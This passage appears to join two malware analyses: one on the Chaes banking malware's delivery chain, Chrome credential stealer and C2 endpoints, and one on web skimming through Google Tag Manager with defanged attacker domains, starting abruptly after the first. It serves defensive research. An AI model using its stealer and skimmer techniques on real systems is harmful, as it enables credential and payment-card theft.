This script acts as the interface between .NET framework and JScript framework, providing the necessary utilities to execute any scripts and modules that engine.js downloads in the future. By default, script.js will try to retrieve the paths to payloads specified in the argument of __init__.py. If nothing is found it will execute engine.js
engine.js
This script employs 2 methods of retrieving a JS payload: getBSCode() and getDWCode() both are called every 6 minutes.
GetBSCode is the primary method, also the only one we are able to observe serving payload. The encrypted payload is hidden as commented-out code inside the HTML page of a Blogspot which is shown below. Without being infected by Chaes, this site is completely harmless.
View of the Blogpost page contains hidden malicious code
On the other hand, when executed, engine.js will parse the string starting from <div id=\”rss-feed\”> which is the marker of the encrypted payload:
Hidden code
After decrypting this text using AES with a hardcoded key, instructions.js is retrieved and executed. This script is in charge of downloading and executing Chaes’ malicious Chrome “extensions”. More info about instructions.js is provided in the next section.
getDWCode is the secondary method of retrieving instruction.js. It employs a DGA approach to find an active domain weekly when getBSCode fails. Since we are not able to observe this method being used successfully in the wild, we have no analysis to present here. However, you can check out the full algorithm posted on our Github.
Instructions.js
Instructions.js is the last stage of the delivery chain. Nothing up to this point has gained the attacker any true benefits. It is the job ofinstructions.js to download and install all the malicious extensions that will take advantage of the Chrome browser and harm the infected users. The address of all payloads are hardcoded as shown below:
The extensions are separated into password-protected archives vs encrypted binaries. The non-compressed payloads are PE files that can be run independently while compressed ones add necessary NodeJS packages for the extension to run. Below is the example of chremows63_64 archive contents:
All the binaries with dll_filename argument such as chromeows2.bin are encrypted, including the ones inside the RAR archive. The decryption algorithm is located inside script.js as we mentioned in the previous section. To decrypt and run each binary, Chaes needs to call__init__.pywith the file path specified as an argument.
The extension installation can be simplified into the following steps:
An HTTP Request (aws/isChremoReset.php) is sent to check if Google Chrome from a particular uid has been hooked. If not, Chrome and NodeJS will be closed. More information about uid in the “Online” section below.
The download request is constructed based on 3 scenarios: 32bit, 64bit, and no Google Chrome found. Each scenario will contain suitable versions of the extensions and their download links.
The extension is downloaded. The compressed payload will be unpacked properly.
A hosts file is created for the newly downloaded module. Inside the file is the CnC randomly picked from the following pool:
Each extension will use the address specified in hosts for CnC communication
Launch each extension through python.exe __init__.py with proper arguments as shown below
Extensions
Online
online.dll is a short-lived Delphi module that is executed by instruction.js before other modules are deployed. Its main purpose is to fingerprint the victim by generating a uid which is a concatenation of drive C: VolumeSerialNumber, UserName, and Computername. The uid is written to a register key SOFTWARE\\Python\\Config\uid before being included inside the beaconing message.
This registry key is also where instruction.jspreviouslygets the uid asking CnC if the victim’s Chrome has been hooked. The first time instruction.js gets launched this registry has not been created yet, therefore the Chrome process is always killed.
Online.dll retrieves the CnC server specified in the hosts file and performs the beaconing request /aws/newClient.php, sending the victim’s uid and basic system information.
Mtps4 (MultiTela Pascal)
Module mtps4 is a backdoor written in Delphi. Its main purpose is to connect to CnC and wait for a responding PascalScript to execute. Similar to the previous module, CnC is retrieved from the hosts file. Mtps4 sends a POST request to the server with a hardcoded User-Agent containing uid and command type. It currently supports 2 commands: start and reset. If the reset command is responded with ‘(* SCRIPT OK *)’, it will terminate the process.
Start command is a bit more interesting.
Example of an HTTP request with “start” command
As a reply to this command, it expects to receive a PascalScript code containing a comment ‘(* SCRIPT OK *)’.
mtps4 is compiled with https://github.com/remobjects/pascalscript to support PascalScript. Before running, the script they create a window that copies the screen and covers the entire desktop to avoid raising suspicion when performing malicious tasks on the system.
Unfortunately during the investigation, we couldn’t get hold of the actual script from the CnC.
Chrolog (ChromeLog)
Chrolog is a Google Chrome Password Stealer written in Delphi. Although it is listed as an extension, Chrolog is an independent tool that extracts user personal data out of the Chrome database and exfiltrates them through HTTP. The CnC server is also retrieved from the hosts file previously created by instruction.js.
HTTP Request
Data Exfiltration
/aws/newUpload.php
Cookies, Web Data, and Login Data (encrypted)
/aws/newMasterKey.php
Chrome Master Key used to decrypt Login Data
/aws/newProfileImage.php
Profile Image URL collected from last_downloaded_gaia_picture_url_with_size attribute inside Local State
/aws/newPersonalData.php
Username, fullname, gaia_name
/aws/bulkNewLogin.php
All Login Data is decrypted and added to local.sql database. Then the corresponding section of the database is exfiltrated
/aws/bulkNewUrl.php
History is added to local.sql database. Then the corresponding section of the database is exfiltrated
/aws/bulkNewAdditionalData.php
Web Data is written to local.sql database. Then the corresponding section of the database is exfiltrated
/aws/bulkNewProcess.php
All running processes are collected and written to local.sql database. Then the corresponding section of the database is exfiltrated
(Cookies, Web Data, Login Data, History, and Local State is standardly located at%APPDATA%\\Local\\Google\\Chrome\\User Data\\Default\\)
Chronodx (Chrome Noder)
chrolog.rar contains NodeJS packages and chronodx.bin aka Chronod2.dll.
Chronodx dependency (“name”: “chremows” is indeed how it is defined)
The chronodx extension package can be separated into 2 parts: a loader called Chronod2.dll and a JavaScript banking trojan called index_chronodx2.js. First, Chronod2.dll performs an HTTP request /dsa/chronod/index_chronodx2.js to retrieve index_chronodx2.js. If successful, Chronod2.dll will run silently in the background until it detects the Chrome browser opened by the user. When that happens, it will close the browser and reopen its own instance of Chrome along with index_chronodx2.jsbeing run from the node.exe process.
Chronodx in idle mode
Chronodx reopens Chrome and executes “node.exe index.js” command Index.js is index_chronodx2.jsin this case
Index_chronodx2.js utilizes puppeteer-core, a NodeJS framework that provides APIs to control Chrome browser, for malicious purposes. Index_chronodx2.js implements many features to intercept popular banking websites in Brazil including
bancobrasil.com.br/aapf
bancodobrasil.com.br/aapf
bb.com.br/aapf
mercadopago.com/…/card_tokens/
mercadopago.com/enter-pass/
mercadolivre.com/enter-pass/
lojaintegrada.com.br/public/login/
mercadobitcoin.com.br
Upon visiting any of the above websites, index_chronodx2.js will start collecting the victim’s banking info and send it to the attacker through a set of HTTP commands. The CnC server is stored in the hosts file, but when it is not found in the system, a hardcoded backup CnC will be used instead:
C2 Command
Meaning
/aws/newQRMPClient.php
Supposedly sending user info to the attacker when a QR code scan is found on banking websites listed above, but this feature is currently commented out
/aws/newContaBBPF.php
Sending user banking info when Bancodobrasil banking sites are intercepted
/aws/newContaCef.php
Sending user banking info when Caixa banking sites are intercepted
/aws/newCaixaAcesso.php
Telling the attacker that a victim has accessed Caixa banking page
aws/newMercadoCartao.php
Sending user banking info when Mercado banking sites are intercepted
/aws/newExtraLogin.php
Send user credentials when logging in to one of the listed pages
Chremows (Chrome WebSocket)
Chremows is another extension that uses NodeJS and puppeteer-core, and is similar to the functionality of node.js mentioned in the Cybereason 2020 report. Chremows targets two platforms Mercado Livre (mercadolivre.com.br) and Mercado Pago (mercadopago.com.br) both belong to an online marketplace company called Mercado Libre, Inc.
Chremows dependency
Sharing the same structure of chronodx module, chremows contains a loader, CreateChrome64.dll that downloads a JavaScript-based banking trojan called index.js. CreateChrome64.dll will automatically update index.jswhen a newer version is found. Unlike chronodx, chremows executes index.js immediately after download and doesn’t require Google Chrome to be opened. In a separate thread, CreateChrome64.dll loads an embedded module ModHooksCreateWindow64.dll that Cybereason has analyzed in their 2020 report. Overall, this module help increase the capabilities that chremows has on Google Chrome, allowing the attacker to perform “active” tasks such as sending keypresses/mouse clicks to Chrome, or opening designated pages. Finally, CreateChrome64.dllcopies Chrome’s Local State file to the same location of index.js with the name local.json. Index.jsuses local.json to help the attacker identify the victim.
Hardcoded CnC
Index.jsemploys two methods of communicating with the attacker: through WebSocket and through HTTP. Each method has its own set of C2 servers as shown in the above picture. WebSocket is used to receive commands and send client-related messages. On the other hand, HTTP is for exfiltrating financial data such as banking credentials and account information to the attacker.
List of known Index.jsWebSocket commands
Command from C2
Functionality
welcome::
Send uid and information extract from local.json to the attacker
control::
The attacker establishes control over Google Chrome
uncontrol::
The attacker removes control over Google Chrome
ping::
Check if the connection to the client is OK
command::
Send command such as keystroke, mouseclick
openbrowser::
Open Chrome window with minimal size to stay hidden
If the user stays connected to the WebSocket C2 server, every six minutes it automatically goes to the targeted Mercado Pago and Mercado Livre pages and performs malicious tasks. During this routine, the attacker loses direct control of the browser. The target pages are banking, credit, and merchant pages that require users’ login. If the user has not logged out of these pages, the attacker will start to collect data and exfiltrate them through the following HTTP requests:
/aws/newMercadoCredito.php
/aws/newMercadoPago.php
If the user is not logged in to those pages but has the password saved in Chrome, after the routine ends, the attackers will get back their direct control of Chrome and log in manually.
Summary
Chaes exploits many websites containing CMS WordPress to serve malicious installers. Among them, there are a few notable websites for which we tried our best to notify BR Cert. The malicious installer communicates with remote servers to download the Python framework and malicious Python scripts which initiate the next stage of the infection chain. In the final stage, malicious Google Chrome extensions are downloaded to disk and loaded within the Python process. The Google Chrome extensions are able to steal users’ credentials stored in Chrome and collect users’ banking information from popular banking websites.
E-commerce websites are much more popular than they used to be, people tend to shop online more and more often. This leads to the growth of an attack called web skimming. Web skimming is a type of attack on e-commerce websites in which an attacker inserts malicious code into a legitimate website. One of the most targeted e-commerce platforms is Magento. The reason why Magento is so popular among attackers is that Magento is known for many vulnerabilities. However, this doesn’t mean that other platforms aren’t being targeted, for example, sites using WooCommerce have also been victims.
In this posting, we go over what web skimming attacks are and how they work. We then analyze a series of web skimming attacks that we found which were active from March 2021 to the present. These attacks abused the Google Tag Manager and mainly targeted sites in Argentina and Saudi Arabia.
Overview of Web Skimming Attacks
The purpose of the malicious web skimming code is to steal the website’s customers’ payment details. This attack can simply be compared to an attack on physical ATMs, where instead of hardware skimmers, malicious code is used to steal payment card information.
Web skimming is dangerous because the customer often has no chance to know that a website has been compromised. Mostly, the attackers go after small e-commerce websites with poor security, but sometimes even a big e-commerce site can become a victim. In 2018, the British Airways website was infected by a web skimming attack. In 2019, forbesmagazine[.]com was infected, payment details were sent to the fontsawesome[.]gq. Later in 2020 a big online retailer selling beauty products, wishtrend[.]com, also became a victim of another web skimming attack. In 2021 another big e-commerce website store.segway[.]com was infected with a skimming attack.
We observed a webpage (wishtrend[.]com with more than 1M followers on Facebook) that was infected with web skimming in 2020. Later in 2021, the same website was infected with a phishing attack that imitates a Dropbox login.
How Web Skimming Attacks Work Under the Hood
A website can be breached and compromised both on the client side and on the server side. From the AV perspective, as we protect the end customers (client) and have no visibility on the server side, we focus on the client side. There can either be a single piece of malicious code hidden in infected websites, or more often, the attack can be split into two or more stages. First stage is a simple loader inserted in an infected website’s HTML or in an already existing javascript file. It can look like in the image below.
First stage of web skimming attack, example of malicious code inserted in websites
This code loads additional malicious code from an attacker’s domain, sometimes obfuscated, sometimes not. For the second stage, attackers usually use typosquatting domains to hide and act as a legitimate service. The malicious code gets the data from all (or in some cases specific) input forms and sends this data to the attacker’s server.
To get the payment details, the attackers use one of the following techniques:
Stealing payment details directly from the original payment form
Inserting malicious payment form (used in cases when no form exists)
Redirecting to a malicious form on another website (can be placed on infected website or also on attacker’s website)
The image below shows an example of a fake payment form in the red box. It is almost impossible to recognize that something is wrong, because on some e-commerce websites the payment form looks exactly the same and is valid. But in this case a little help is in the yellow box that says: “You will be redirected to the Realex website when you place an order. “ It means that if the website states that you will be redirected, then the payment form should not be directly on the e-commerce website and the user should expect to be redirected to the payment gateway (different website) with the form to enter payment details.
Example of a malicious payment form on an infected website
There is more than one way the second stage (the part which is responsible for stealing and sending stolen payment details to the attacker) of a web skimming attack can look. In the code snippet below, there is an example. Here the attackers use a POST request to exfiltrate payment details, but they can also use GET requests and WebSockets.
Example of web skimming code
Stolen payment details are usually sold on the dark web. These datasets of credit cards that come from web skimming attacks are usually fresh and therefore they are better and can be sold for a higher price than for example data stolen from databases, which can be old in many cases. More information about selling stolen cards can be found in Yonathan Klijnsma’s
In Q3 2021 we discovered a web skimming attack that uses Google Tag Manager (GTM) as a first stage. First, the infected webpage loads a script from googletagmanager[.]com/gtm.js?id=gtm-<code>via script injected in the HTML file shown on the image below.
Code snippet from index.html on infected e-commerce website
There is nothing unusual in this behaviour, many websites use Google Tag Manager and it looks exactly the same (it can be suspicious that the website loads more than one GTM script though). But if we look closer in the gtm.js file, we can find suspicious code in it. In the image below there is a comparison between malicious and clean GTM script. In the malicious file, there is added custom code that loads another javascript file from ganalitis[.]com. This is the feature of GTM, it is possible to add a custom script (which is then loaded from googletagmanager.com domain).
Difference between usual and malicious GTM code
We were able to connect (based on our common signature and IP) ganalitis[.]com with similar domains from the same attacker (data from RiskIQ).
Domain
Active from
IP
ganalitics[.]com
2021-06-03
193[.]203[.]203[.]240
bingfindapi[.]com
2021-04-29
193[.]203[.]203[.]56
webfaset[.]com
2021-04-13
193[.]203[.]203[.]56
pixstatics[.]com
2021-05-19
193[.]203[.]203[.]56
ganalitis[.]com
2021-10-21
91[.]242[.]229[.]96
gstatsc[.]com
2021-12-13
91[.]242[.]229[.]96
gstatlcs[.]com
2021-12-15
193[.]203[.]203[.]14
gstatuslink[.]com
2022-01-02
91[.]242[.]229[.]96
gtagmagr[.]com
2022-01-05
193[.]203[.]203[.]14
The second stage (downloaded from the malicious domain) is a file named favicon(later renamed to refresh) that contains about 400 lines of obfuscated javascript code. We found that this code was being changed over time to avoid detection. The deobfuscated code is shown below, almost everything out of the 400 lines of code was just obfuscation. This file hides malicious code responsible for downloading the final stage through WebSockets.
The final stage of malware is downloaded through WebSockets. First, the web page sends its hostname, and then according to that information the corresponding malicious javascript is received. This communication is shown in the image below.
Malicious javascript code is about 1k lines long (formatted) and as the previous stage is also obfuscated. This code is responsible for stealing the payment details. At the end of the obfuscated javascript code (shown in the image below) is configuration which is different for every infected eshop. The red box at the bottom shows the configuration where the fake payment form will be inserted into an HTML file on the infected website.
The end of the third stage file that contains configuration
The code from the yellow box is decoded in the white box. It is a dictionary, the key E528330211747l contains the form field names that match the input form field names on the infected webpage. The last key contains an exfiltration URL that is encoded in base64. In the image below is a code from an infected website, we can see that the id of the email field (customer-email) is in the mentioned code.
The missing field names (from fake payment form) are in the variable a0_0x11ac38. Which is an array and contains the following fields:
The fake payment form embedded on the infected website is shown in the image below. Above is the infected webpage, while below is how the webpage looks normally.
E-commerce website with fake payment form
The stolen payment details (including details such as name and address) are sent to the attacker encoded in base64 through WebSockets.
Affected users
In the map below are shown countries with the most affected users. The top is Argentina, because of prune[.]com[.]ar. Site was infected with the new malicious domain gstatlcs[.]com.
The second one is Saudi Arabia e-commerce website souqtime[.]com. From RiskIQ data we can see that this e-commerce website was infected over time with at least seven different web skimming domains.
Currently Avast detects the malicious domain gstatuslink[.]com on souqtime[.]com.
Conclusion
Overall, we can say that the attacker uses Google Tag Manager to avoid detection. At the same time they were able to change the domains from which the malicious code was loaded over time, he also changed the malicious code itself to hide from detection by antivirus.
Some websites were infected for several months (for example souqtime[.]com). It can be difficult for users to spot that the site is infected. For example, it is suspicious if the user fills in the payment form on the website itself and is then redirected to another payment form on the payment gateway webpage. But in cases where the payment form is normally present directly on the e-commerce website and the attacker steals payment details from this legitimate form, it is really hard to notice that the website is infected. Therefore we recommend using a second factor (e.g. mobile app or SMS code) to confirm internet payments if the bank supports it.
Website owners should keep software updated, monitor logs for any suspicious activity, use strong passwords and also use Web Application Firewall.
